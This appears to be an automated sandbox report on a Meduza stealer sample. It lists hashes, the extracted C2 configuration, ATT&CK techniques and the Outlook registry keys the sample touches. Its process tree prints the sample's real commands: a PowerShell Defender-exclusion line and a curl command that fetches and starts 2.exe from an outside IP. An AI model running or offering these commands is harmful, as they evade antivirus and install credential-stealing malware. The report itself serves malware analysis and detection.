meduza | 86c5fbaec4886b844cbcf2376968430ecbd7a9b51dcf09fc9fe954b49fe6fe53

Resubmissions

07/03/2025, 03:43

250307-ead1pas1d1 10

Analysis

max time kernel
147s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
07/03/2025, 03:43

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General

Target

iviewers.dll
Size

83KB
MD5

5d57d199c4418e0cd2305dbe761ec9ae
SHA1

9dfdaf2c9f92c1d6bf3ac1d65d0fbca32e2f0359
SHA256

be71bb6d00d2759b6e925249307d08f900ddfc48744b6b3a1cac2e6100724c37
SHA512

8817eea5118074e95d9e2d3ac5a4216959122d3379add8d250c29e1e18403d9c5e95f8d5f687db8995183cfb6418e696553ca0ad3f4e7ab363cf341b7e3e239b
SSDEEP

1536:vbo5eK+wzZQ1LRC7ivPv8ZqTfXeqvz+NBGQS18sWpcdVQPLHWeDCf7/P/:vs5tXVQLRC7iv4qTvcGQS1VQPjWeDCfb

Score

10^/10

meduza 2 collection discovery execution spyware stealer

Malware Config

Extracted

Family

meduza

Botnet

45.93.20.15

Attributes

anti_dbg
true
anti_vm
true
build_name
2
extensions
.txt; .doc; .xlsx
grabber_maximum_size
4194304
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral13/files/0x00060000000227b0-46.dat	family_meduza

Meduza family
meduza

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3460	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
25	5108	curl.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation	2.exe

Executes dropped EXE 1 IoCs

pid	Process
2784	2.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	api.ipify.org
28	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe
2784	2.exe
2784	2.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	2784	2.exe
Token: SeImpersonatePrivilege	2784	2.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2236 wrote to memory of 1516	2236	regsvr32.exe	86
PID 2236 wrote to memory of 1516	2236	regsvr32.exe	86
PID 2236 wrote to memory of 1516	2236	regsvr32.exe	86
PID 1516 wrote to memory of 4936	1516	regsvr32.exe	88
PID 1516 wrote to memory of 4936	1516	regsvr32.exe	88
PID 1516 wrote to memory of 4936	1516	regsvr32.exe	88
PID 4936 wrote to memory of 3460	4936	cmd.exe	90
PID 4936 wrote to memory of 3460	4936	cmd.exe	90
PID 4936 wrote to memory of 3460	4936	cmd.exe	90
PID 1516 wrote to memory of 436	1516	regsvr32.exe	93
PID 1516 wrote to memory of 436	1516	regsvr32.exe	93
PID 1516 wrote to memory of 436	1516	regsvr32.exe	93
PID 436 wrote to memory of 5108	436	cmd.exe	95
PID 436 wrote to memory of 5108	436	cmd.exe	95
PID 436 wrote to memory of 5108	436	cmd.exe	95
PID 436 wrote to memory of 2784	436	cmd.exe	98
PID 436 wrote to memory of 2784	436	cmd.exe	98

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	2.exe

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\2.exe'"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4936
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\2.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3460
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 2.exe http://147.45.44.170/2.exe & start 2.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Windows\SysWOW64\curl.exe
      curl -o 2.exe http://147.45.44.170/2.exe
      4⤵
      Downloads MZ/PE file
      PID:5108
  - - C:\Windows\Temp\2.exe
      2.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:2784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jf032ygh.j1h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\2.exe

Filesize
1.2MB

MD5
3bafe0cfe2e97b14b8b62c7abab1bf6d

SHA1
ad09524594ba57695250877ca0dd772cd5687685

SHA256
c21c41247a73b4b6c05564ec315f77a6620939e9a3b1d59936d18f997d6195d5

SHA512
232c57ba7908855e1bc07d6f1f25b93633c067be0039806301db598da6b72f19cdde46bfca1530757e6811890acaf0879e6876b89c4bc6417cce493773e90c47

Download Submit
memory/3460-21-0x000000006FD10000-0x000000006FD5C000-memory.dmp

Filesize
304KB

Download
memory/3460-42-0x00000000079D0000-0x00000000079E4000-memory.dmp

Filesize
80KB

Download
memory/3460-4-0x0000000073480000-0x0000000073C30000-memory.dmp

Filesize
7.7MB

Download
memory/3460-5-0x0000000005570000-0x0000000005592000-memory.dmp

Filesize
136KB

Download
memory/3460-33-0x0000000007640000-0x00000000076E3000-memory.dmp

Filesize
652KB

Download
memory/3460-6-0x0000000005D60000-0x0000000005DC6000-memory.dmp

Filesize
408KB

Download
memory/3460-3-0x0000000005600000-0x0000000005C28000-memory.dmp

Filesize
6.2MB

Download
memory/3460-17-0x0000000005FB0000-0x0000000006304000-memory.dmp

Filesize
3.3MB

Download
memory/3460-18-0x0000000006420000-0x000000000643E000-memory.dmp

Filesize
120KB

Download
memory/3460-19-0x0000000006460000-0x00000000064AC000-memory.dmp

Filesize
304KB

Download
memory/3460-20-0x00000000075F0000-0x0000000007622000-memory.dmp

Filesize
200KB

Download
memory/3460-31-0x0000000006A20000-0x0000000006A3E000-memory.dmp

Filesize
120KB

Download
memory/3460-2-0x0000000073480000-0x0000000073C30000-memory.dmp

Filesize
7.7MB

Download
memory/3460-0-0x000000007348E000-0x000000007348F000-memory.dmp

Filesize
4KB

Download
memory/3460-7-0x0000000005E40000-0x0000000005EA6000-memory.dmp

Filesize
408KB

Download
memory/3460-34-0x0000000073480000-0x0000000073C30000-memory.dmp

Filesize
7.7MB

Download
memory/3460-35-0x0000000073480000-0x0000000073C30000-memory.dmp

Filesize
7.7MB

Download
memory/3460-36-0x0000000007DC0000-0x000000000843A000-memory.dmp

Filesize
6.5MB

Download
memory/3460-37-0x0000000007790000-0x00000000077AA000-memory.dmp

Filesize
104KB

Download
memory/3460-38-0x0000000007800000-0x000000000780A000-memory.dmp

Filesize
40KB

Download
memory/3460-39-0x0000000007A10000-0x0000000007AA6000-memory.dmp

Filesize
600KB

Download
memory/3460-40-0x0000000007990000-0x00000000079A1000-memory.dmp

Filesize
68KB

Download
memory/3460-41-0x00000000079C0000-0x00000000079CE000-memory.dmp

Filesize
56KB

Download
memory/3460-32-0x0000000073480000-0x0000000073C30000-memory.dmp

Filesize
7.7MB

Download
memory/3460-44-0x0000000007AD0000-0x0000000007AEA000-memory.dmp

Filesize
104KB

Download
memory/3460-1-0x0000000002B50000-0x0000000002B86000-memory.dmp

Filesize
216KB

Download
memory/3460-48-0x0000000007AB0000-0x0000000007AB8000-memory.dmp

Filesize
32KB

Download
memory/3460-57-0x0000000073480000-0x0000000073C30000-memory.dmp

Filesize
7.7MB

Download